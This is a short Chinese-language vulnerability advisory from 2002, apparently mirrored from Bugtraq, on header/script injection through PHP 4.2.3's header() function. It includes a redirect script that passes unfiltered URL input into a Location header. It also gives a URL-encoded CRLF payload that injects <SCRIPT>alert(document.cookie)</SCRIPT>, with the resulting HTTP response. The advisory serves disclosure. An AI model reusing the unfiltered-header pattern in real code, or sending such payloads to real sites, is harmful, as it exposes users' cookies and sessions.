PHP Header函数存在脚本插入漏洞发布时间:2002-09-18 更新时间:2002-09-18 严重程度:中 威胁程度:用户敏感信息泄露 错误类型:输入验证错误 利用方式:客户机模式 BUGTRAQ ID:5669 受影响系统 PHP PHP 4.2.3详细描述 PHP是流行开放源代码的脚本语言。 PHP头函数存在漏洞,可以使用户在URL中提供任意脚本代码,而导致把恶意脚本代码插入到HTTP头信息中。 测试代码 如有以下的PHP脚本代码: --- REDIR.PHP --- <?php header("Location: $_GET['$url']"); ?> --- REDIR.PHP --- 提交如下URL http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F %6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64% 6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2 1%2D%2D 会产生如下HTTP头信息: HTTP/1.1 302 Found Server: Xitami Date: Sat, 07 Sep 2002 21:50:17 GMT Content-length: 96 Content-type: text/html X-powered-by: PHP/4.2.3 {Location: http://www.yahoo.com/ <SCRIPT>alert(document.cookie)</SCRIPT><!--} <-- See our code in between the brackets Content-type: text/html 可导致脚本代码执行,信息泄露。 解决方案 无 相关信息 Matthew Murphy <mattmurphy@kc.rr.com>. 参考:http://online.securityfocus.com/archive/1/290872 相关主页:http://www.php.net/ |